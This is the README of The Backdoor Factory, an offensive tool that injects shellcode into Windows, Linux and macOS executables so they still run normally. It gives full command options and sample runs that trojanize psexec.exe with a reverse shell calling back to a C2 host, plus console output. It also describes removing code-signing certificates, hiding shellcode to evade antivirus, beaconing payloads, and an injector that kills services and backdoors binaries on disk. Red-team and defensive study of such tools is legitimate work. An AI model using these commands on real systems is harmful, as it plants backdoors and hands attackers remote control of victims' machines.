The Backdoor Factory (BDF)
For security professionals and researchers only.
The goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.
DerbyCon 2014 Presentation: http://www.youtube.com/watch?v=LjUN9MACaTs
Contact the developer on:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
Under a BSD 3 Clause License
See the wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki
Dependences
Capstone engine can be installed from PyPi with:
sudo pip install capstone
Pefile, most recent: https://code.google.com/p/pefile/
Kali Install:
apt-get update
apt-get install backdoor-factory
Other *NIX/MAC INSTALL:
./install.sh
This will install Capstone with 3.01 pip to install pefile.
UPDATE:
./update.sh
Supporting:
Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
and Mach-O x86/x64 and those formats in FAT files
Packed Files: PE UPX x86/x64
Experimental: OpenBSD x32
Some executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises. I’m on the verge of bypassing NSIS, so bypassing these checks will be included in the future.
Many thanks to Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.
From DerbyCon:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U
Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Recently tested on many binaries.
./backdoor.py -h Usage: backdoor.py [options]
Options:
-h, --help show this help message and exit
-f FILE, --file=FILE File to backdoor
-s SHELL, --shell=SHELL
Payloads that are available for use. Use 'show' to see
payloads.
-H HOST, --hostip=HOST
IP of the C2 for reverse connections.
-P PORT, --port=PORT The port to either connect back to for reverse shells
or to listen on for bind shells
-J, --cave_jumping Select this options if you want to use code cave
jumping to further hide your shellcode in the binary.
-a, --add_new_section
Mandating that a new section be added to the exe
(better success) but less av avoidance
-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
User supplied shellcode, make sure that it matches the
architecture that you are targeting.
-c, --cave The cave flag will find code caves that can be used
for stashing shellcode. This will print to all the
code caves of a specific size.The -l flag can be use
with this setting.
-l SHELL_LEN, --shell_length=SHELL_LEN
For use with -c to help find code caves of different
sizes
-o OUTPUT, --output-file=OUTPUT
The backdoor output file
-n NSECTION, --section=NSECTION
New section name must be less than seven characters
-d DIR, --directory=DIR
This is the location of the files that you want to
backdoor. You can make a directory of file backdooring
faster by forcing the attaching of a codecave to the
exe by using the -a setting.
-w, --change_access This flag changes the section that houses the codecave
to RWE. Sometimes this is necessary. Enabled by
default. If disabled, the backdoor may fail.
-i, --injector This command turns the backdoor factory in a hunt and
shellcode inject type of mechinism. Edit the target
settings in the injector module.
-u SUFFIX, --suffix=SUFFIX
For use with injector, places a suffix on the original
file for easy recovery
-D, --delete_original
For use with injector module. This command deletes
the original file. Not for use in production systems.
*Author not responsible for stupid uses.*
-O DISK_OFFSET, --disk_offset=DISK_OFFSET
Starting point on disk offset, in bytes. Some authors
want to obfuscate their on disk offset to avoid
reverse engineering, if you find one of those files
use this flag, after you find the offset.
-S, --support_check To determine if the file is supported by BDF prior to
backdooring the file. For use by itself or with
verbose. This check happens automatically if the
backdooring is attempted.
-M, --cave-miner Future use, to help determine smallest shellcode
possible in a PE file
-q, --no_banner Kills the banner.
-v, --verbose For debug information output.
-T IMAGE_TYPE, --image-type=IMAGE_TYPE
ALL, x86, or x64 type binaries only. Default=ALL
-Z, --zero_cert Allows for the overwriting of the pointer to the PE
certificate table effectively removing the certificate
from the binary for all intents and purposes.
-R, --runas_admin Checks the PE binaries for 'requestedExecutionLevel
level="highestAvailable"'. If this string is included
in the binary, it must run as system/admin. Doing this
slows patching speed significantly.
-L, --patch_dll Use this setting if you DON'T want to patch DLLs.
Patches by default.
-F FAT_PRIORITY, --FAT_PRIORITY=FAT_PRIORITY
For MACH-O format. If fat file, focus on which arch to
patch. Default is x64. To force x86 use -F x86, to
force both archs use -F ALL.
Features:
PE Files
Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
-Jump (j), for code cave jumping
-Single (s), for patching all your shellcode into one cave
-Append (a), for creating a code cave
-Ignore (i), nevermind, ignore this binary
Can ignore DLLs.
Import Table Patching
ELF Files
Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.
Mach-O Files
Pre-Text Section patching and signature removal
Overall
The user can :
-Provide custom shellcode.
-Patch a directory of executables/dlls.
-Select x32 or x64 binaries to patch only.
-Include BDF is other python projects see pebin.py and elfbin.py
Sample Usage:
Patch an exe/dll using an existing code cave:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
Patch an exe/dll by adding a code section:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
Patch a directory of exes:
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...
User supplied shellcode:
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.
Hunt and backdoor: Injector | Windows Only
The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
Changelog
2/14/2014
I <3 you guys
- Added Import Address Table patching for PEs to support iat_reverse_tcp payloads that use the import table for winAPI calls. If the binary you are patching does not have LoadLibraryA and GetProcAddress, for example, BDF will patch it in to a new Import Table in a new section. Supports x64/x86 PEs.
- Added iat_reverse_tcp for x64 PEs.
- Bug fixes and improvements
1/1/2015
Happy New Year!
Two new OS X payloads! The delay: delay_reverse_shell_tcp
-B 30 –> delay the payload for 30 seconds, main code runs right away.
Setting of firm capstone commit for building into BDF, capstone ‘Next’ repo breaks BDF.
Fixes to support cython capstone implementation null byte truncation issue
12/27/2014
Added payloadtests.py
This script will output patched files in backdoored that will allow for the user to test the payloads as they wish. Each payload type increments the port used by one.
Usage: payloadtest.py binary HOST PORT
12/17/2014
OS X Beaconing Payloads for x86 and x64: beaconing_reverse_shell_tcp
-B 15 –> set beacon time for 15 secs
Bug fix to support OS X for BDFProxy
10/11/2014
PE UPX Patching Added
9/26/2014
Mach-O x86/x64 added
x86 IAT payload optimization
7/31/2014
Added support for ARM x32 LE ELF patching
7/22/2014
Added FreeBSD x32 ELF patching support
Change to BSD 3 Clause License
7/13/2014
Incorporated Capstone: http://www.capstone-engine.org/
During the process of adding Capstone, I removed about 500 lines of code. That’s pretty awesome.
Renamed loadliba_reverse_tcp to iat_reverse_tcp.
Small optimizations for speed.
5/30/2014
Added a new win86 shellcode: loadliba_reverse_tcp
More information about this project can be found at: https://github.com/secretsquirrel/the-backdoor-factory
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